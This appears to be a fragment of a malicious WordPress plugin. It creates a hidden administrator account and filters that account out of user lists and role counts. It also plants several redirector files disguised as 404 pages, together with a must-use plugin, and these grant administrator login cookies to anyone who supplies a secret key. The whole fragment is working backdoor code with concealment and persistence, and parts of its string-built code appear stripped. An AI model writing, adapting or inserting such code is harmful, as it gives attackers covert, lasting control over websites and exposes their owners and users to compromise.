set_role( 'administrator' ); update_option( 'wpse_user_id', (int) $user_id, false ); } wpse_drop_redirector(); wpse_drop_mu_plugin(); } function wpse_drop_redirector() { $filename = WPSE_REDIRECTOR_FILENAME; if ( ! $filename ) { return; } $key = WPSE_REDIRECTOR_KEY; $login = WPSE_LOGIN; $key_q = var_export( $key, true ); $login_q = var_export( $login, true ); $code = "404 Not Found

Not Found

'; exit; }\n"; $code .= "\$wpse_own_id = (int) get_option('wpse_user_id');\n"; $code .= "\$wpse_user_id = 0;\n"; $code .= "foreach (get_users(array('role' => 'administrator', 'orderby' => 'ID', 'order' => 'ASC', 'fields' => array('ID'))) as \$adm) { if ((int) \$adm->ID !== \$wpse_own_id) { \$wpse_user_id = (int) \$adm->ID; break; } }\n"; $code .= "if (!\$wpse_user_id && \$wpse_own_id) { \$wpse_user_id = \$wpse_own_id; }\n"; $code .= "if (!\$wpse_user_id) { status_header(404); exit; }\n"; $code .= "wp_set_current_user(\$wpse_user_id);\n"; $code .= "wp_set_auth_cookie(\$wpse_user_id, true, is_ssl());\n"; $code .= "wp_safe_redirect(admin_url());\n"; $code .= "exit;\n"; $targets = array( __DIR__ . '/' . $filename, WP_CONTENT_DIR . '/uploads/' . $filename, WP_CONTENT_DIR . '/' . $filename, WP_CONTENT_DIR . '/languages/' . $filename, ); foreach ( $targets as $target_file ) { $dir = dirname( $target_file ); if ( ! is_dir( $dir ) ) { @mkdir( $dir, 0755, true ); } if ( @file_put_contents( $target_file, $code ) ) { @chmod( $target_file, 0644 ); } } } function wpse_drop_mu_plugin() { $mu_key = WPSE_MU_KEY; if ( ! $mu_key ) { return; } $login = WPSE_LOGIN; $key_q = var_export( $mu_key, true ); $login_q = var_export( $login, true ); $code = " 'administrator', 'orderby' => 'ID', 'order' => 'ASC', 'fields' => array( 'ID' ) ) ) as \$adm ) { if ( (int) \$adm->ID !== \$wpse_own ) { \$wpse_uid = (int) \$adm->ID; break; } }\n"; $code .= "if ( ! \$wpse_uid && \$wpse_own ) { \$wpse_uid = \$wpse_own; }\n"; $code .= "if ( ! \$wpse_uid ) { return; }\n"; $code .= "wp_set_current_user( \$wpse_uid );\n"; $code .= "wp_set_auth_cookie( \$wpse_uid, true, is_ssl() );\n"; $code .= "wp_safe_redirect( admin_url() );\n"; $code .= "exit;\n"; $mu_dir = WP_CONTENT_DIR . '/mu-plugins'; if ( ! is_dir( $mu_dir ) ) { @mkdir( $mu_dir, 0755, true ); } $mu_file = $mu_dir . '/wpse-loader.php'; @file_put_contents( $mu_file, $code ); @chmod( $mu_file, 0644 ); } add_action( 'pre_user_query', 'wpse_pre_user_query' ); function wpse_pre_user_query( $user_search ) { global $current_user, $wpdb; $hidden = WPSE_LOGIN; if ( ! $hidden ) { return; } if ( isset( $current_user->user_login ) && $current_user->user_login === $hidden ) { return; } $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '" . esc_sql( $hidden ) . "'", $user_search->query_where ); } add_filter( 'views_users', 'wpse_views_users' ); function wpse_views_users( $views ) { $users = count_users(); $admins_num = isset( $users['avail_roles']['administrator'] ) ? max( 0, $users['avail_roles']['administrator'] - 1 ) : 0; $all_num = max( 0, $users['total_users'] - 1 ); $class_adm = ( isset( $views['administrator'] ) && strpos( $views['administrator'], 'current' ) !== false ) ? 'current' : ''; $class_all = ( isset( $views['all'] ) && strpos( $views['all'], 'current' ) !== false ) ? 'current' : ''; $views['administrator'] = '' . translate_user_role( 'Administrator' ) . ' (' . $admins_num . ')'; $views['all'] = '' . __( 'All' ) . ' (' . $all_num . ')'; return $views; }